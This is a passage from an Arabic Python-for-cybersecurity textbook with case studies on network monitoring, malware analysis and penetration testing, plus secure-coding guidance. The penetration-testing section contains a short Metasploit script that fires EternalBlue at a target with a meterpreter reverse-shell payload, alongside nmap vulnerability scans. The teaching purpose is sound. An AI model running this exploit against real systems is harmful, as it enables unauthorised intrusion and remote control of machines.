- ضعف القابلية للتوسع: يصعب تطبيقها على الشبكات الكبيرة ذات الأحجام العالية من حركة البيانات.

تساعد الأتمتة في تجاوز هذه التحديات من خلال التحليل الآني، وتقليل الأخطاء البشرية، ودعم التوسع مع الشبكات الكبيرة.

٢.١.٦ الحل: أتمتة مراقبة الشبكة باستخدام Python

تجعل بساطة Python ومنظومتها الغنية بالمكتبات منها خيارًا مثاليًا لأتمتة مراقبة الشبكة. بالاعتماد على مكتبات مثل Scapy وpandas وmatplotlib، يمكننا بناء أداة تلتقط حركة الشبكة، وتحللها لاكتشاف الشذوذ، وتولّد تنبيهات فورية.

الخصائص الأساسية لأداة مراقبة الشبكة المؤتمتة

١. التقاط الحزم: التقاط حركة الشبكة وتحليلها في الزمن الحقيقي.

٢. اكتشاف الشذوذ: تحديد الأنماط أو السلوكيات غير المعتادة.

٣. إطلاق التنبيهات: إنشاء تنبيهات عند اكتشاف تهديدات محتملة.

٤. التصوير البياني: عرض أنماط حركة الشبكة بصريًا لتسهيل التحليل.

٣.١.٦ التنفيذ خطوة بخطوة

فيما يلي خطوات بناء أداة أتمتة لمراقبة الشبكة باستخدام Python.

- الخطوة 1: تثبيت المكتبات المطلوبة

تثبيت مكتبات Python اللازمة باستخدام pip:

```
pip install scapy pandas matplotlib
```

- الخطوة 2: التقاط حركة الشبكة

استخدام مكتبة Scapy للتقاط وتحليل حركة الشبكة.

مثال الكود:

```
from scapy.all import sniff

def packet_callback(packet):
    if packet.haslayer('IP'):
        src_ip = packet['IP'].src
        dst_ip = packet['IP'].dst
        print(f"Source IP: {src_ip}, Destination IP: {dst_ip}")

print("Starting network monitoring...")
sniff(prn=packet_callback, count=0)
```

الشرح:

- يستخدم السكربت مكتبة Scapy للتقاط الحزم وقراءة عناوين IP المرسلة والمستقبلة.

- الخطوة 3: اكتشاف الشذوذ

تحليل خصائص الحزم مثل العناوين والبروتوكولات لاكتشاف السلوك غير الطبيعي.

مثال الكود:

```
from scapy.all import sniff
import pandas as pd

packet_data = []

def packet_callback(packet):
```

```
    if packet.haslayer('IP'):
        packet_data.append({
            "Source IP": packet['IP'].src,
            "Destination IP": packet['IP'].dst,
            "Protocol": packet['IP'].proto
        })

sniff(prn=packet_callback, count=100)

df = pd.DataFrame(packet_data)

anomalies = df[df['Protocol'] == 1]
if not anomalies.empty:
    print("Anomalies detected:")
    print(anomalies)
```

الشرح:

- يتم تخزين بيانات الحزم في DataFrame باستخدام pandas.
- يتم اعتبار بروتوكول ICMP مثالاً على حالة شاذة.

- الخطوة 4: توليد التنبيهات

تسجيل الشذوذ المكتشف في ملف سجل لمراجعته لاحقًا.

```
import logging

logging.basicConfig(
    filename='network_monitor.log',
    level=logging.INFO,
    format='%(asctime)s - %(message)s'
```

```
)

for _, row in anomalies.iterrows():
    logging.warning(
        f"Anomaly detected: Source IP={row['Source IP']}, "
        f"Destination IP={row['Destination IP']}, "
        f"Protocol={row['Protocol']}"
    )
```

- الخطوة 5: التصوير البياني لحركة الشبكة

استخدام matplotlib لعرض أنماط حركة الشبكة بصريًا.

```
import matplotlib.pyplot as plt

protocol_counts = df['Protocol'].value_counts()
protocol_counts.plot(kind='bar')
plt.title("Network Traffic by Protocol")
plt.xlabel("Protocol")
plt.ylabel("Packet Count")
plt.show()
```

٤.١.٦ التطبيق في الواقع العملي

يمكن نشر أداة مراقبة الشبكة المؤتمتة في سيناريوهات متعددة، مثل:

- شبكات المؤسسات: مراقبة الشبكات الداخلية واكتشاف الأنشطة غير الطبيعية.
- البيئات السحابية: متابعة حركة البيانات في البنية التحتية السحابية.
- شبكات إنترنت الأشياء: اكتشاف السلوكيات غير المعتادة في اتصالات الأجهزة الذكية.

٥.١.٦ فوائد أتمتة مراقبة الشبكة

توفر أتمتة مراقبة الشبكة باستخدام Python مزايا متعددة:

- اكتشاف فوري: التعرف على التهديدات لحظة حدوثها.
- قابلية التوسع: التعامل مع كميات ضخمة من حركة الشبكة.
- كفاءة أعلى: تقليل العبء على المحللين البشريين.
- دقة أفضل: تقليل احتمال تفويت التنبيهات الحرجة.

٦.١.٦ الخلاصة: قوة الأتمتة

تمكّن أتمتة مراقبة الشبكة باستخدام Python المؤسسات من اكتشاف التهديدات والاستجابة لها بكفاءة أعلى. ومن خلال الاستفادة من بساطة Python ومكتباتها القوية، يستطيع مختصو الأمن السيبراني بناء أدوات مخصّصة تعزّز قدرات المراقبة وتحسّن المستوى العام للأمن.

٢.٦ دراسة حالة 2: استخدام Python في تحليل البرمجيات الخبيثة

الفصل السادس: دراسات حالة وأمثلة واقعية
يُعد تحليل البرمجيات الخبيثة أحد الركائز الأساسية في مجال الأمن السيبراني، إذ يمكّن المختصين من فهم سلوك البرمجيات الضارة ووظيفتها وتأثيرها على الأنظمة. وقد أصبحت Python، بفضل مكتباتها وأدواتها القوية، لغةً مفضّلة لأتمتة وتحسين عمليات تحليل البرمجيات الخبيثة. في هذه الدراسة، سنستعرض كيف يمكن استخدام Python في كل من التحليل الساكن والتحليل الديناميكي للبرمجيات الخبيثة، بما يشمل فحص الملفات، وتحليل السلوك، واستخراج معلومات الاستخبارات التهديدية، مع تنفيذ عملي خطوة بخطوة.

١.٢.٦ المشكلة: تحليل البرمجيات الخبيثة يدويًا

يتطلب التحليل اليدوي للبرمجيات الخبيثة تفكيك البرمجيات الضارة لفهم سلوكها وتأثيرها، وهي عملية تتسم بما يلي:

- مستهلكة للوقت: تتطلب جهدًا كبيرًا في الهندسة العكسية والتحليل.
- معقّدة: تستلزم فهم تفاصيل منخفضة المستوى مثل شيفرة Assembly واستدعاءات النظام.
- محفوفة بالمخاطر: تشغيل البرمجيات الخبيثة في بيئة غير معزولة قد يؤدي إلى عواقب غير متوقعة.

تساعد أتمتة تحليل البرمجيات الخبيثة باستخدام Python في تجاوز هذه التحديات عبر تبسيط العملية، وتقليل الجهد البشري، والحد من المخاطر.

٢.٢.٦ الحل: أتمتة تحليل البرمجيات الخبيثة باستخدام Python

تجعل منظومة Python الغنية بالمكتبات منها خيارًا مثاليًا لأتمتة تحليل البرمجيات الخبيثة. بالاعتماد على مكتبات مثل pefile وyara-python وCuckoo Sandbox، يمكننا بناء أدوات تقوم بالتحليل الساكن والديناميكي، واستخراج مؤشرات التهديد، وإنتاج معلومات عملية قابلة للاستخدام.

٣.٢.٦ التنفيذ خطوة بخطوة

فيما يلي خطوات بناء أداة لتحليل البرمجيات الخبيثة باستخدام Python.

- الخطوة 1: تثبيت المكتبات المطلوبة

تثبيت مكتبات Python اللازمة باستخدام pip:

```
pip install pefile yara-python pandas
```

- الخطوة 2: التحليل الساكن باستخدام **pefile**

يعتمد التحليل الساكن على فحص البرمجية الخبيثة دون تشغيلها. تتيح مكتبة pefile تحليل ملفات Portable Executable (PE) المستخدمة غالبًا في برمجيات Windows الخبيثة.

مثال الكود:

```
import pefile

pe = pefile.PE('malware.exe')

print(f"Entry Point: {hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint)}")
print(f"Image Base: {hex(pe.OPTIONAL_HEADER.ImageBase)}")

for entry in pe.DIRECTORY_ENTRY_IMPORT:
    print(f"Imported DLL: {entry.dll.decode()}")
    for imp in entry.imports:
        print(f"  Function: {imp.name.decode()}")
```

الشرح:

- يستخدم السكربت مكتبة pefile لاستخراج معلومات مثل نقطة الدخول، وعنوان الصورة، والدوال المستوردة.

- تساعد هذه البيانات في فهم سلوك البرمجية الخبيثة وتأثيرها المحتمل.

- الخطوة 3: مطابقة الأنماط باستخدام **YARA**

تُستخدم أداة YARA للتعرّف على البرمجيات الخبيثة وتصنيفها اعتمادًا على أنماط معروفة. تتيح مكتبة yara-python إنشاء وتطبيق قواعد YARA برمجيًا.

مثال الكود:

```
import yara

rule = """
rule ExampleRule {
    strings:
        $str1 = "malware"
    condition:
        $str1
}
"""

rules = yara.compile(source=rule)

matches = rules.match('malware.exe')
for match in matches:
    print(f"Match found: {match}")
```

الشرح:

- تُعرّف القاعدة نمطًا بسيطًا لاكتشاف وجود سلسلة نصية محددة داخل الملف.
- يتم تطبيق القاعدة على الملف وعرض نتائج المطابقة.

- الخطوة 4: التحليل الديناميكي باستخدام **Cuckoo Sandbox**

يعتمد التحليل الديناميكي على تشغيل البرمجية الخبيثة داخل بيئة معزولة (Sandbox) لمراقبة سلوكها. تُعد Cuckoo Sandbox أداة مفتوحة المصدر للتحليل الديناميكي وتوفّر واجهة API بلغة Python.

مثال الكود:

```
from cuckoo import CuckooAPI
import time

cuckoo = CuckooAPI("http://localhost:8090")

task_id = cuckoo.submit_file('malware.exe')
print(f"Task ID: {task_id}")

while True:
    status = cuckoo.task_status(task_id)
    print(f"Status: {status}")
    if status == "completed":
        break
    time.sleep(10)

report = cuckoo.task_report(task_id)
print(report)
```

الشرح:

- يتم إرسال العينة إلى Cuckoo Sandbox ومتابعة حالة التحليل.
- بعد اكتمال التحليل، يتم استخراج تقرير شامل عن السلوك.

- الخطوة 5: استخراج معلومات الاستخبارات التهديدية

استخراج معلومات قيّمة مثل خوادم القيادة والتحكم (C2) أو مفاتيح التشفير أو بيانات الإعداد.

مثال الكود:

```
import re

with open('malware.exe', 'rb') as f:
    data = f.read()

ip_addresses = re.findall(
    r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b',
    data.decode('utf-8', errors='ignore')
)

for ip in ip_addresses:
    print(f"Potential C2 server: {ip}")
```

الشرح:

- يبحث السكربت عن عناوين IP داخل الملف، والتي قد تشير إلى خوادم تحكم.
- تُستخدم هذه البيانات لاحقًا في الحظر والتحقيق.

٤.٢.٦ التطبيق في الواقع العملي

يمكن استخدام أداة تحليل البرمجيات الخبيثة المبنية بـ Python في سيناريوهات متعددة، مثل:

- الاستجابة للحوادث: تحليل العينات أثناء الحوادث الأمنية.
- استخبارات التهديدات: استخراج مؤشرات الاختراق (IOCs) ومشاركتها.

- البحث والتطوير: دراسة سلوك البرمجيات الخبيثة وتطوير إجراءات مضادة.

٥.٢.٦ فوائد أتمتة تحليل البرمجيات الخبيثة

توفر أتمتة تحليل البرمجيات الخبيثة باستخدام Python مزايا عديدة:

- كفاءة أعلى: تقليل الزمن والجهد المطلوبين للتحليل.
- دقة أكبر: الحد من الأخطاء البشرية.
- قابلية التوسع: تحليل عدد كبير من العينات في وقت واحد.
- معلومات قابلة للتنفيذ: إنتاج تقارير تفصيلية ومؤشرات تهديد عملية.

٦.٢.٦ الخلاصة: قوة **Python** في تحليل البرمجيات الخبيثة

تجعل مرونة Python ومكتباتها القوية منها أداة لا غنى عنها في تحليل البرمجيات الخبيثة. ومن خلال أتمتة التحليل الساكن والديناميكي، يمكن لمختصي الأمن السيبراني فهم التهديدات بعمق أكبر، واستخراج معلومات استخباراتية قيّمة، والاستجابة للتهديدات بكفاءة أعلى.

٣.٦ دراسة حالة 3: تنفيذ اختبار اختراق باستخدام أدوات Python

الفصل السادس: دراسات حالة وأمثلة واقعية
يُعد اختبار الاختراق، أو ما يُعرف بـ Ethical Hacking، أسلوبًا استباقيًا لاكتشاف واستغلال الثغرات في الأنظمة والشبكات والتطبيقات. وقد أصبحت Python، بفضل منظومتها الغنية بالمكتبات والأدوات، حجر الأساس في اختبارات الاختراق الحديثة، حيث تمكّن المختصين من أتمتة المهام، وتطوير استغلالات مخصّصة، وتبسيط العملية بالكامل. في هذه الدراسة، سنستعرض كيف يمكن استخدام Python لتنفيذ اختبار اختراق متكامل، يشمل الاستطلاع، وفحص الثغرات، والاستغلال، وإعداد التقارير، مع تنفيذ عملي خطوة بخطوة.

١.٣.٦ المشكلة: اختبار الاختراق اليدوي

يتطلب اختبار الاختراق اليدوي تنفيذ سلسلة من المهام المعقّدة والمستهلكة للوقت، مثل:

- الاستطلاع: جمع المعلومات عن الهدف.
- فحص الثغرات: تحديد نقاط الضعف المحتملة.
- الاستغلال: محاولة استغلال الثغرات المكتشفة.
- إعداد التقارير: توثيق النتائج والتوصيات.

ورغم أن الاختبار اليدوي دقيق، إلا أنه قد يكون غير فعّال ومعرّض للأخطاء البشرية. تساعد أتمتة هذه المهام باستخدام Python في تحسين الكفاءة والدقة بشكل ملحوظ.

٢.٣.٦ الحل: أتمتة اختبار الاختراق باستخدام Python

تجعل بساطة Python ومكتباتها القوية منها خيارًا مثاليًا لأتمتة اختبار الاختراق. بالاعتماد على أدوات مثل Nmap، وScapy، وMetasploit، وRequests، يمكن بناء سير عمل متكامل يغطي جميع مراحل الاختبار.

٣.٣.٦ التنفيذ خطوة بخطوة

فيما يلي خطوات تنفيذ اختبار اختراق باستخدام أدوات Python.

- الخطوة 1: تثبيت المكتبات المطلوبة

تثبيت مكتبات Python اللازمة باستخدام pip:

```
pip install python-nmap scapy requests
```

- الخطوة 2: الاستطلاع

يتضمن الاستطلاع جمع معلومات عن الهدف، مثل عناوين IP والمنافذ المفتوحة والخدمات.

مثال الكود: استخدام python-nmap لفحص الشبكة:

```
import nmap

scanner = nmap.PortScanner()

target_ip = "192.168.1.0/24"
scanner.scan(hosts=target_ip, arguments='-n -sP')

for host in scanner.all_hosts():
    print(f"Active host: {host}")
```

الشرح:

- يستخدم السكربت مكتبة python-nmap لاكتشاف الأجهزة النشطة ضمن نطاق الشبكة.
- يتم عرض عناوين IP التي تستجيب للفحص.

- الخطوة 3: فحص الثغرات

يتضمن فحص الثغرات تحديد نقاط الضعف المحتملة في النظام الهدف.

مثال الكود: استخدام python-nmap لفحص المنافذ والخدمات:

```
import nmap

scanner = nmap.PortScanner()

target_ip = "192.168.1.1"
scanner.scan(target_ip, arguments='-sV --script vuln')

for host in scanner.all_hosts():
    print(f"Scan results for {host}:")
    for proto in scanner[host].all_protocols():
        print(f"Protocol: {proto}")
        for port in scanner[host][proto].keys():
            service = scanner[host][proto][port]
            print(f"Port {port}: {service['name']} ({service['product']}
            ↪  {service['version']})")
```

الشرح:

- يتم فحص المنافذ المفتوحة والخدمات العاملة على الهدف.
- تُشغّل سكربتات الثغرات المدمجة لاكتشاف نقاط الضعف المحتملة.

- الخطوة 4: الاستغلال

يتضمن الاستغلال محاولة استغلال الثغرات المكتشفة.

مثال الكود: استخدام Metasploit عبر Python:

```
from pymetasploit3.msfrpc import MsfRpcClient

client = MsfRpcClient('password', server='192.168.1.1')

exploit = client.modules.use('exploit', 'windows/smb/ms17_010_eternalblue')
```

```
exploit['RHOSTS'] = '192.168.1.100'
exploit.execute(payload='windows/x64/meterpreter/reverse_tcp')
```

الشرح:

- يتفاعل السكربت مع إطار عمل Metasploit باستخدام pymetasploit3.
- يتم تنفيذ استغلال EternalBlue ضد هدف محدد.

- الخطوة 5: إعداد التقارير

تتضمن مرحلة إعداد التقارير توثيق النتائج والتوصيات الناتجة عن اختبار الاختراق.

مثال الكود: إنشاء تقرير باستخدام pandas:

```
import pandas as pd

results = [
    {"IP": "192.168.1.1", "Port": 80, "Service": "HTTP", "Vulnerability":
    ↪  "SQL Injection"},
    {"IP": "192.168.1.1", "Port": 22, "Service": "SSH", "Vulnerability":
    ↪  "Weak Password"},
    {"IP": "192.168.1.2", "Port": 443, "Service": "HTTPS", "Vulnerability":
    ↪  "SSL/TLS Misconfiguration"},
]

df = pd.DataFrame(results)
df.to_csv('penetration_test_report.csv', index=False)

print("Report generated: penetration_test_report.csv")
```

الشرح:

- يتم تخزين نتائج الاختبار في DataFrame.
- يُحفظ التقرير بصيغة CSV لاستخدامه في التحليل والتوثيق.

٤.٣.٦ التطبيق في الواقع العملي

يمكن استخدام أداة اختبار الاختراق المبنية بـ Python في سيناريوهات متعددة، مثل:

- اختبارات داخلية: تقييم أمان الشبكات والأنظمة الداخلية.
- اختبارات خارجية: فحص الأنظمة المتاحة عبر الإنترنت.
- اختبار تطبيقات الويب: اكتشاف ثغرات تطبيقات الويب.

٥.٣.٦ فوائد أتمتة اختبار الاختراق

توفر أتمتة اختبار الاختراق باستخدام Python مزايا عديدة:

- كفاءة أعلى: تقليل الزمن والجهد المطلوبين للاختبار.
- دقة أكبر: تقليل الأخطاء البشرية.
- قابلية التوسع: اختبار عدة أهداف في وقت واحد.
- قابلية التخصيص: تكييف عملية الاختبار وفق احتياجات محددة.

٦.٣.٦ الخلاصة: قوة **Python** في اختبار الاختراق

تجعل مرونة Python ومكتباتها القوية منها أداة لا غنى عنها في اختبارات الاختراق. ومن خلال أتمتة الاستطلاع، وفحص الثغرات، والاستغلال، وإعداد التقارير، يمكن لمختصي الأمن السيبراني تنفيذ اختبارات شاملة وفعّالة، واكتشاف الثغرات، وتعزيز المستوى العام للأمن.

الفصل ٧: أفضل الممارسات لاستخدام Python في الأمن السيبراني

١.٧ كتابة شيفرة آمنة وفعّالة

الفصل السابع: أفضل الممارسات لاستخدام **Python** في الأمن السيبراني
في مجال الأمن السيبراني، لا تُعد كتابة شيفرة آمنة وفعّالة مجرد ممارسة مُستحسنة، بل هي ضرورة حتمية. فالثغرات البرمجية قد تؤدي إلى اختراقات أمنية خطيرة، في حين أن الشيفرة غير الفعّالة قد تُبطئ عمليات حرجة مثل مراقبة الشبكات أو تحليل البرمجيات الخبيثة. تتميّز Python بالبساطة وسهولة القراءة، مما يجعلها خيارًا ممتازًا لمهام الأمن السيبراني، لكنها تتطلب اهتمامًا خاصًا بالجوانب الأمنية والأدائية. في هذا القسم، نستعرض أفضل الممارسات لكتابة شيفرة Python آمنة وفعّالة، بما يشمل التحقق من المدخلات، وممارسات البرمجة الآمنة، وتحسين الأداء، ومعالجة الأخطاء.

١.١.٧ لماذا تهم الشيفرة الآمنة والفعّالة؟

تُعد كتابة شيفرة آمنة وفعّالة أمرًا بالغ الأهمية للأسباب التالية:

- الأمن: يمكن للمهاجمين استغلال الثغرات البرمجية للوصول إلى البيانات، أو السيطرة على الأنظمة، أو التسبب بحوادث أمنية خطيرة.

- الأداء: الشيفرة غير المحسّنة قد تُبطئ العمليات الحرجة، مما يقلل من فعالية أدوات الأمن السيبراني.
- قابلية الصيانة: الشيفرة الجيدة أسهل في الصيانة، والتصحيح، والتوسعة على المدى الطويل.

من خلال الالتزام بأفضل الممارسات، يمكنك كتابة شيفرة Python تكون آمنة، وفعّالة، وسهلة الصيانة.

٢.١.٧ ممارسات البرمجة الآمنة

تساعد ممارسات البرمجة الآمنة في منع الثغرات التي يمكن استغلالها من قبل المهاجمين. فيما يلي أهم هذه الممارسات:

١. التحقق من المدخلات

يجب دائمًا التحقق من مدخلات المستخدم وتنقيتها لمنع هجمات الحقن مثل SQL Injection أو Command Injection.

مثال: التحقق من صحة مدخلات المستخدم وتنقيتها:

```
import re

def validate_input(input_string):
    # Allow only alphanumeric characters and underscores
    if re.match(r'^\w+$', input_string):
        return True
    else:
        return False

user_input = "example_input"
```

```
if validate_input(user_input):
    print("Input is valid")
else:
    print("Input is invalid")
```

الشرح:

- يستخدم السكربت تعبيرًا نمطيًا للتحقق من المدخلات، بحيث يسمح فقط بالأحرف والأرقام والشرطة السفلية.
- يمنع ذلك إدخال قيم خبيثة قد تؤدي إلى هجمات حقن.

٢. تجنّب تضمين المعلومات الحساسة داخل الشيفرة

يُعد تضمين كلمات المرور أو مفاتيح API داخل الشيفرة مباشرة خطرًا أمنيًا. يُفضّل استخدام متغيرات البيئة أو حلول تخزين آمنة.

مثال: استخدام متغيرات البيئة:

```
import os

api_key = os.getenv('API_KEY')
if api_key:
    print(f"API key: {api_key}")
else:
    print("API key not found")
```

الشرح:

- يتم جلب مفتاح API من متغيرات البيئة بدلاً من كتابته داخل الشيفرة.

٣. استخدام مكتبات آمنة وموثوقة

يجب الاعتماد على مكتبات معروفة ومُحدّثة للعمليات الحساسة مثل التشفير والاتصال الشبكي.

مثال: استخدام مكتبة cryptography للتشفير الآمن:

```
from cryptography.fernet import Fernet

key = Fernet.generate_key()
cipher = Fernet(key)
encrypted_data = cipher.encrypt(b"Sensitive data")

decrypted_data = cipher.decrypt(encrypted_data)
print(decrypted_data.decode())
```

الشرح:

- تستخدم الشيفرة مكتبة cryptography لتشفير البيانات وفك تشفيرها بطريقة آمنة.

٤. تطبيق معالجة صحيحة للأخطاء

تمنع المعالجة الجيدة للأخطاء كشف معلومات حساسة، وتساعد النظام على التعافي من الحالات غير المتوقعة.

مثال: معالجة آمنة للأخطاء:

```
try:
    result = 10 / 0
except ZeroDivisionError:
    print("Error: Division by zero")
except Exception as e:
    print(f"An unexpected error occurred: {e}")
```

الشرح:

- تتم معالجة أخطاء محددة مثل القسمة على صفر، مع توفير معالجة عامة لبقية الأخطاء غير المتوقعة.

٣.١.٧ تحسين الأداء

تضمن الشيفرة الفعّالة أداءً جيدًا للأدوات الأمنية حتى في بيئات العمل ذات الأحمال العالية. فيما يلي بعض النصائح:

١. استخدام هياكل بيانات فعّالة

اختر هيكل البيانات المناسب، مثل استخدام set لاختبار الانتماء وdict للربط بين المفاتيح والقيم.

مثال: استخدام set:

```
ip_list = ["192.168.1.1", "192.168.1.2", "192.168.1.3"]
ip_set = set(ip_list)

if "192.168.1.1" in ip_set:
    print("IP found")
```

الشرح:

- يوفّر set تعقيدًا زمنيًا ثابتًا في المتوسط للاختبار الانتماء.

٢. تحسين الحلقات

تجنّب العمليات غير الضرورية داخل الحلقات، واستخدم List Comprehension عند الإمكان.

مثال: تحسين حلقة:

```
squares = [i ** 2 for i in range(10)]
```

٣. استخدام أدوات التحليل الأدائي

تساعد أدوات مثل cProfile في تحديد نقاط الاختناق الأدائية.

مثال:

```
import cProfile

def example_function():
    total = 0
    for i in range(1000000):
        total += i
    return total

cProfile.run('example_function()')
```

٤.١.٧ قابلية صيانة الشيفرة

تُعد الشيفرة القابلة للصيانة أسهل في الفهم والتطوير وإعادة الاستخدام.

١. الالتزام بإرشادات **PEP 8**

```
def calculate_area(length, width):
    return length * width
```

٢. كتابة شيفرة معيارية

قسّم الشيفرة إلى دوال صغيرة قابلة لإعادة الاستخدام.

```
def validate_input(input_string):
    return input_string.isalnum()
```

```
def process_input(input_string):
    if validate_input(input_string):
        print("Input is valid")
    else:
        print("Input is invalid")
```

٣. توثيق الشيفرة

استخدم التعليقات وDocstrings لتوضيح الهدف من الشيفرة.

٥.١.٧ الخلاصة: أهمية الشيفرة الآمنة والفعّالة

تُعد كتابة شيفرة آمنة وفعّالة أساسًا لبناء أدوات أمن سيبراني موثوقة وقوية. ومن خلال الالتزام بأفضل الممارسات في التحقق من المدخلات، والبرمجة الآمنة، وتحسين الأداء، وقابلية الصيانة، يمكنك إنشاء شيفرة Python قوية، وقابلة للتوسع، وسهلة الإدارة على المدى الطويل.

٢.٧ مواكبة تحديثات مكتبات وأدوات Python

الفصل السابع: أفضل الممارسات لاستخدام **Python** في الأمن السيبراني
في عالم الأمن السيبراني سريع الوتيرة، تُعد مواكبة أحدث مكتبات وأدوات Python أمرًا بالغ الأهمية. فالثغرات الجديدة، وتقنيات الهجوم، وأساليب الدفاع تظهر باستمرار، ويجب أن تتطور الأدوات والمكتبات المستخدمة لمواكبة هذا التطور. في هذا القسم، نستعرض أهمية البقاء على اطّلاع دائم بالتحديثات، وطرق متابعة الإصدارات الجديدة، وأفضل الممارسات لدمج الأدوات والمكتبات الحديثة ضمن سير العمل.

١.٢.٧ لماذا تهم مواكبة التحديثات؟

تُعد مواكبة تحديثات مكتبات وأدوات Python ضرورية لعدة أسباب:

- الأمن: قد تحتوي المكتبات القديمة على ثغرات يمكن للمهاجمين استغلالها.
- الأداء: غالبًا ما تتضمن الإصدارات الأحدث تحسينات في الأداء وإصلاحات للأخطاء.
- الوظائف: قد تضيف التحديثات ميزات جديدة تعزز قدراتك التقنية.
- التوافقية: تضمن التحديثات التوافق مع الأدوات والأنظمة الأخرى.

من خلال الحفاظ على تحديث الأدوات والمكتبات، يمكنك تعزيز الوضع الأمني والاستفادة من أحدث التطورات في مجال الأمن السيبراني.

٢.٢.٧ كيف تواكب التحديثات؟

فيما يلي مجموعة من الاستراتيجيات لمتابعة تحديثات مكتبات وأدوات Python:

١. متابعة المصادر الرسمية

تحقق بانتظام من المواقع الرسمية، والتوثيق، ومستودعات GitHub الخاصة بالمكتبات والأدوات التي تستخدمها.

مثال: متابعة مكتبة Requests:

- الموقع الرسمي: وثائق Requests
- مستودع GitHub الخاص بالمكتبة

٢. الاشتراك في القوائم البريدية والنشرات

توفر العديد من المكتبات أدوات اشتراك في نشرات بريدية أو قوائم مراسلة للإبلاغ عن الإصدارات الجديدة والتحديثات الأمنية.

مثال: الاشتراك في نشرات فريق الاستجابة الأمنية لـ Python Security Response Team (PSRT).

٣. استخدام أدوات إدارة الاعتماديات

تساعد أدوات مثل pip، وpipenv، وpoetry في تتبع الاعتماديات وتحديثها.

مثال: التحقق من الحزم القديمة باستخدام pip:

```
pip list --outdated
```

الشرح:

- يعرض هذا الأمر جميع الحزم المثبّتة التي تتوفر لها إصدارات أحدث.

٤. متابعة مجتمعات الأمن السيبراني

يساعد الانخراط في مجتمعات ومنتديات الأمن السيبراني على الاطلاع الدائم على أحدث الأدوات والمكتبات وأفضل الممارسات.

أمثلة:

- مجتمعات Reddit المتخصصة بالأمن السيبراني
- منصة Stack Overflow
- النقاشات التقنية ضمن مستودعات GitHub

٣.٢.٧ أفضل الممارسات لدمج التحديثات

عند تحديث المكتبات والأدوات، يجب اتباع أفضل الممارسات لتجنّب المشكلات وضمان التوافق.

١. اختبار التحديثات في بيئة تجريبية

قبل نشر التحديثات في بيئة الإنتاج، اختبرها في بيئة تجريبية (Staging Environment) لاكتشاف أي مشكلات محتملة.

مثال: إعداد بيئة افتراضية للاختبار:

```
python -m venv test_env
source test_env/bin/activate
pip install -r requirements.txt
```

الشرح:

- يتم إنشاء بيئة افتراضية وتثبيت الاعتماديات لاختبار التحديثات بأمان.

٢. مراجعة ملاحظات الإصدار وسجل التغييرات

اطّلع على ملاحظات الإصدار (Release Notes) وسجل التغييرات (Changelog) لفهم التعديلات والتغييرات الجذرية المحتملة.

مثال: مراجعة سجل تغييرات مكتبة Scapy.

٣. تثبيت الإصدارات المحددة

استخدم تثبيت الإصدارات المحددة (Version Pinning) لضمان الاستقرار وتجنّب التغييرات غير المتوقعة.

مثال: استخدام ملف requirements.txt:

```
requests==2.26.0
scapy==2.4.5
```

الشرح:

- يحدّد الملف الإصدارات الدقيقة للمكتبات المستخدمة في المشروع.

٤. أتمتة التحديثات باستخدام خطوط CI/CD

ادمج تحديث الاعتماديات ضمن خطوط التكامل والنشر المستمر (CI/CD) لأتمتة العملية.

مثال: استخدام GitHub Actions:

```yaml
name: Update Dependencies
on:
  schedule:
    - cron: '0 0 * * 0'
jobs:
  update:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Set up Python
        uses: actions/setup-python@v2
        with:
          python-version: '3.9'
      - name: Install dependencies
        run: |
          python -m pip install --upgrade pip
          pip install -r requirements.txt
      - name: Check for outdated packages
        run: pip list --outdated
```

الشرح:

- يتحقق سير العمل من وجود حزم قديمة بشكل دوري ويعرضها تلقائيًا.

٤.٢.٧ أمثلة عملية على مواكبة التحديثات

فيما يلي بعض الأمثلة العملية:

١. تحديث مكتبة **Requests**

(ا) التحقق من وجود تحديثات.

(ب) تحديث المكتبة باستخدام pip.

(ج) اختبار المكتبة بعد التحديث في بيئة تجريبية.

٢. متابعة التنبيهات الأمنية

(ا) متابعة التنبيهات الأمنية الخاصة بمكتبات مثل cryptography.

(ب) تطبيق التحديثات الأمنية فور صدورها.

٣. أتمتة تحديث الاعتماديات

(ا) استخدام أدوات مثل Dependabot.

(ب) مراجعة ودمج طلبات التحديث تلقائيًا.

٥.٢.٧ الخلاصة: أهمية مواكبة التحديثات

تُعد مواكبة تحديثات مكتبات وأدوات Python عنصرًا أساسيًا للحفاظ على مستوى أمني قوي والاستفادة من أحدث تقنيات الأمن السيبراني. ومن خلال متابعة المصادر الرسمية، واستخدام أدوات إدارة الاعتماديات، واتباع أفضل الممارسات في دمج التحديثات، يمكنك ضمان بقاء أدواتك وسير عملك فعّالين وآمنين.

٣.٧ الاعتبارات الأخلاقية في الأمن السيبراني

الفصل السابع: أفضل الممارسات لاستخدام **Python** في الأمن السيبراني
في مجال الأمن السيبراني، تُعد الاعتبارات الأخلاقية عنصرًا محوريًا لا يمكن تجاهله. فالقوة التي توفرها Python وغيرها من الأدوات يمكن استخدامها لأغراض دفاعية أو هجومية، ومن الضروري التأكد من أن جميع الأعمال التي تقوم بها تنسجم مع المبادئ الأخلاقية. في هذا القسم، نستعرض أهم الاعتبارات الأخلاقية في الأمن السيبراني، بما في ذلك الإفصاح المسؤول، واحترام الخصوصية، والالتزام القانوني، والنزاهة المهنية، وكيف تنطبق هذه المفاهيم عند استخدام Python في هذا المجال.

١.٣.٧ لماذا تهم الاعتبارات الأخلاقية؟

تُعد الاعتبارات الأخلاقية أساسية في الأمن السيبراني لعدة أسباب:

- الثقة: السلوك الأخلاقي يبني الثقة مع العملاء والزملاء والمجتمع التقني ككل.
- الالتزام القانوني: يساعد الالتزام بالأخلاقيات على الامتثال للقوانين والأنظمة.
- السمعة المهنية: قد يؤدي السلوك غير الأخلاقي إلى الإضرار بالسمعة والمسار المهني.
- المسؤولية المجتمعية: يتحمل مختصو الأمن السيبراني مسؤولية حماية الأفراد والمؤسسات والمجتمع من الأضرار الرقمية.

من خلال الالتزام بالمبادئ الأخلاقية، يمكنك استخدام Python وغيرها من الأدوات بطريقة مسؤولة والمساهمة في عالم رقمي أكثر أمانًا.

٢.٣.٧ أهم الاعتبارات الأخلاقية

فيما يلي أبرز الاعتبارات الأخلاقية التي يجب على مختصي الأمن السيبراني مراعاتها عند استخدام Python:

ا. الإفصاح المسؤول

عند اكتشاف ثغرة أمنية، يجب الإفصاح عنها بطريقة مسؤولة للجهات المعنية، وإعطاؤهم الوقت الكافي لمعالجتها قبل نشرها للعامة.

مثال: الإبلاغ عن ثغرة لشركة ما:

